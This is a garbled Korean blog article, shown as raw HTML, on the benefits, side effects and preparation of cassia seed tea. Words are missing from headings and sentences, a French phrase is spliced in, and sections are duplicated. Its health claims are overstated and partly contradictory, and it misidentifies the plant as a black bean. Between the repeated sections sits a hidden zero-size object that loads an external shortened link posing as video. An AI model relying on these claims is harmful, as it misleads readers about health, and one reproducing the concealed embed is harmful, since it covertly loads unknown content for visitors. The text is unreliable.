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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:43">결명자차, 눈 건강부터 변비까지? 과 카페인, 까지 꼼꼼 리뷰!</h2><p data-sourcepos="3:1-3:80"><strong>결명자</strong>는 콩과 식물인 <strong>까만콩</strong>의 씨앗을 말하며, <strong>눈을 밝게 틔우는 약</strong>이라는 뜻을 가진 한약재로 오랫동안 사랑받아 왔습니다.</p><p data-sourcepos="5:1-5:69"><strong>결명자차</strong>는 <strong>카페인이 없는</strong> <strong>허브차</strong>로, <strong>따뜻하게 끓여 마시거나 차갑게 냉장</strong>해서 마실 수 있습니다.</p><p data-sourcepos="7:1-7:19"><strong>1. 결명자차의 다양한 </strong></p><ul data-sourcepos="9:1-16:0">
<li data-sourcepos="9:1-10:0">
<p data-sourcepos="9:3-9:138"><strong>눈 건강 개선:</strong> 결명자는 <strong>루테인</strong>과 <strong>제아잔틴</strong>이라는 <strong>안티옥시다제</strong>가 풍부하여 <strong>눈의 피로를 풀고 시력 개선</strong>, <strong>녹내장, 백내장 예방</strong>에 도움을 줍니다. 특히, <strong>컴퓨터 작업</strong>을 많이 하는 사람들에게 좋습니다.</p>
</li>
<li data-sourcepos="11:1-11:93">
<p data-sourcepos="11:3-11:93"><strong>변비 해소:</strong> 결명자는 <strong>섬유질</strong>이 풍부하여 <strong>장 운동을 활발하게 하고 변비를 해소</strong>하는 데 적입니다. 또한, <strong>숙취 해소</strong>에도 도움이 됩니다.</p>
</li>
<li data-sourcepos="12:1-12:79">
<p data-sourcepos="12:3-12:79"><strong>혈압 조절:</strong> 결명자는 <strong>혈관을 확장</strong>시켜 <strong>혈압을 낮추는 </strong>가 있습니다. <strong>고혈압</strong> 환자에게 도움이 될 수 있습니다.</p>
</li>
<li data-sourcepos="13:1-13:81">
<p data-sourcepos="13:3-13:81"><strong>간 기능 개선:</strong> 결명자는 <strong>간의 해독 기능</strong>을 촉진하여 <strong>간 건강 개선</strong>에 도움을 줍니다. <strong>숙취 해소</strong>에도 도움이 됩니다.</p>
</li>
<li data-sourcepos="14:1-14:93">
<p data-sourcepos="14:3-14:93"><strong>피부 미용:</strong> 결명자는 <strong>피부 노화를 방지</strong>하고 <strong>피부 탄력 개선</strong>에 도움을 줍니다. <strong>안티옥시다제</strong>가 풍부하여 <strong>피부 미용</strong>에도 적입니다.</p>
</li>
<li data-sourcepos="15:1-16:0">
<p data-sourcepos="15:3-15:61"><strong>기타:</strong> <strong>콜레스테롤 감소, 혈당 조절, 면역력 강화</strong> 등의 도 있다는 연구 결과가 있습니다.</p>
</li>
</ul><p data-sourcepos="17:1-17:19"><strong>2. 결명자차의 카페인 함량</strong></p><p data-sourcepos="19:1-19:78">결명자차는 <strong>카페인이 없는 허브차</strong>입니다. 따라서 <strong>카페인에 민감한 사람</strong>이나 <strong>임산부, 수유부</strong>도 안심하고 마실 수 있습니다.</p><p data-sourcepos="21:1-21:16"><strong>3. 결명자차의 </strong></p><p data-sourcepos="23:1-23:64">결명자차는 일반적으로 안전한 것으로 알려져 있지만, <strong>과다 섭취</strong> 시 다음과 같은 이 나타날 수 있습니다.</p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:12"><strong>복통, 설사</strong></li>
<li data-sourcepos="26:1-26:9"><strong>저혈압</strong></li>
<li data-sourcepos="27:1-28:0"><strong>알레르기 반응</strong></li>
</ul><p data-sourcepos="29:1-29:21"><strong>4. 결명자차 맛과 마시는 방법</strong></p><p data-sourcepos="31:1-31:74">결명자차는 ** légèrement amer**한 맛이 있습니다. <strong>꿀이나 레몬</strong>을 넣어 마시면 더욱 맛있게 즐길 수 있습니다.</p><ul data-sourcepos="33:1-35:0">
<li data-sourcepos="33:1-33:69"><strong>따뜻하게 끓여 마시는 방법:</strong> 1-2 티스푼의 결명자를 컵에 넣고 끓는 물을 부어 5-10분간 우려낸 후 마십니다.</li>
<li data-sourcepos="34:1-35:0"><strong>차갑게 냉장해서 마시는 방법:</strong> 1-2 티스푼의 결명자를 컵에 넣고 차가운 물을 부어 몇 시간 동안 냉장시킨 후 마십니다.</li>
</ul><p data-sourcepos="36:1-36:17"><strong>5. 결명자차 주의 사항</strong></p><ul data-sourcepos="38:1-41:0">
<li data-sourcepos="38:1-38:50"><strong>저혈압 환자</strong>는 결명자차를 마시면 혈압이 더 낮아질 수 있으므로 주의해야 합니다.</li>
<li data-sourcepos="39:1-39:46"><strong>임산부, 수유부</strong>는 결명자차를 마시기 전에 의사와 상담하는 것이 좋습니다.</li>
<li data-sourcepos="40:1-41:0"><strong>약을 복용하는 경우</strong> 결명자차를 마시기 전에 약과의 상호 작용이 있는지 확인해야 합니다.</li>
</ul><p data-sourcepos="42:1-42:22"><strong>6. 결명자차 구매 및 보관 방법</strong></p><p data-sourcepos="44:1-44:43">결명자는 <strong>한약재 전문점</strong>이나 <strong>마트</strong>에서 쉽게 구입할 수 있습니다.</p><ul data-sourcepos="46:1-46:49">
<li data-sourcepos="46:1-46:49"><strong>결명자</strong>는 <strong>밀폐 용기에 담아 직사광선을 피해 서늘한 곳에 보관</strong>해야 합니다</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/b9ie" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<p data-sourcepos="9:3-9:138"><strong>눈 건강 개선:</strong> 결명자는 <strong>루테인</strong>과 <strong>제아잔틴</strong>이라는 <strong>안티옥시다제</strong>가 풍부하여 <strong>눈의 피로를 풀고 시력 개선</strong>, <strong>녹내장, 백내장 예방</strong>에 도움을 줍니다. 특히, <strong>컴퓨터 작업</strong>을 많이 하는 사람들에게 좋습니다.</p>
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<p data-sourcepos="11:3-11:93"><strong>변비 해소:</strong> 결명자는 <strong>섬유질</strong>이 풍부하여 <strong>장 운동을 활발하게 하고 변비를 해소</strong>하는 데 적입니다. 또한, <strong>숙취 해소</strong>에도 도움이 됩니다.</p>
</li>
<li data-sourcepos="12:1-12:79">
<p data-sourcepos="12:3-12:79"><strong>혈압 조절:</strong> 결명자는 <strong>혈관을 확장</strong>시켜 <strong>혈압을 낮추는 </strong>가 있습니다. <strong>고혈압</strong> 환자에게 도움이 될 수 있습니다.</p>
</li>
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<p data-sourcepos="13:3-13:81"><strong>간 기능 개선:</strong> 결명자는 <strong>간의 해독 기능</strong>을 촉진하여 <strong>간 건강 개선</strong>에 도움을 줍니다. <strong>숙취 해소</strong>에도 도움이 됩니다.</p>
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<p data-sourcepos="14:3-14:93"><strong>피부 미용:</strong> 결명자는 <strong>피부 노화를 방지</strong>하고 <strong>피부 탄력 개선</strong>에 도움을 줍니다. <strong>안티옥시다제</strong>가 풍부하여 <strong>피부 미용</strong>에도 적입니다.</p>
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<p data-sourcepos="15:3-15:61"><strong>기타:</strong> <strong>콜레스테롤 감소, 혈당 조절, 면역력 강화</strong> 등의 도 있다는 연구 결과가 있습니다.</p>
</li>
</ul><p data-sourcepos="17:1-17:19"><strong>2. 결명자차의 카페인 함량</strong></p><p data-sourcepos="19:1-19:78">결명자차는 <strong>카페인이 없는 허브차</strong>입니다. 따라서 <strong>카페인에 민감한 사람</strong>이나 <strong>임산부, 수유부</strong>도 안심하고 마실 수 있습니다.</p><p data-sourcepos="21:1-21:16"><strong>3. 결명자차의 </strong></p><p data-sourcepos="23:1-23:64">결명자차는 일반적으로 안전한 것으로 알려져 있지만, <strong>과다 섭취</strong> 시 다음과 같은 이 나타날 수 있습니다.</p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:12"><strong>복통, 설사</strong></li>
<li data-sourcepos="26:1-26:9"><strong>저혈압</strong></li>
<li data-sourcepos="27:1-28:0"><strong>알레르기 반응</strong></li>
</ul><p data-sourcepos="29:1-29:21"><strong>4. 결명자차 맛과 마시는 방법</strong></p><p data-sourcepos="31:1-31:74">결명자차는 ** légèrement amer**한 맛이 있습니다. <strong>꿀이나 레몬</strong>을 넣어 마시면 더욱 맛있게 즐길 수 있습니다.</p><ul data-sourcepos="33:1-35:0">
<li data-sourcepos="33:1-33:69"><strong>따뜻하게 끓여 마시는 방법:</strong> 1-2 티스푼의 결명자를 컵에 넣고 끓는 물을 부어 5-10분간 우려낸 후 마십니다.</li>
<li data-sourcepos="34:1-35:0"><strong>차갑게 냉장해서 마시는 방법:</strong> 1-2 티스푼의 결명자를 컵에 넣고 차가운 물을 부어 몇 시간 동안 냉장시킨 후 마십니다.</li>
</ul><p data-sourcepos="36:1-36:17"><strong>5. 결명자차 주의 사항</strong></p><ul data-sourcepos="38:1-41:0">
<li data-sourcepos="38:1-38:50"><strong>저혈압 환자</strong>는 결명자차를 마시면 혈압이 더 낮아질 수 있으므로 주의해야 합니다.</li>
<li data-sourcepos="39:1-39:46"><strong>임산부, 수유부</strong>는 결명자차를 마시기 전에 의사와 상담하는 것이 좋습니다.</li>
<li data-sourcepos="40:1-41:0"><strong>약을 복용하는 경우</strong> 결명자차를 마시기 전에 약과의 상호 작용이 있는지 확인해야 합니다.</li>
</ul><p data-sourcepos="42:1-42:22"><strong>6. 결명자차 구매 및 보관 방법</strong></p><p data-sourcepos="44:1-44:43">결명자는 <strong>한약재 전문점</strong>이나 <strong>마트</strong>에서 쉽게 구입할 수 있습니다.</p><ul data-sourcepos="46:1-46:49">
<li data-sourcepos="46:1-46:49"><strong>결명자</strong>는 <strong>밀폐 용기에 담아 직사광선을 피해 서늘한 곳에 보관</strong>해야 합니다</li>
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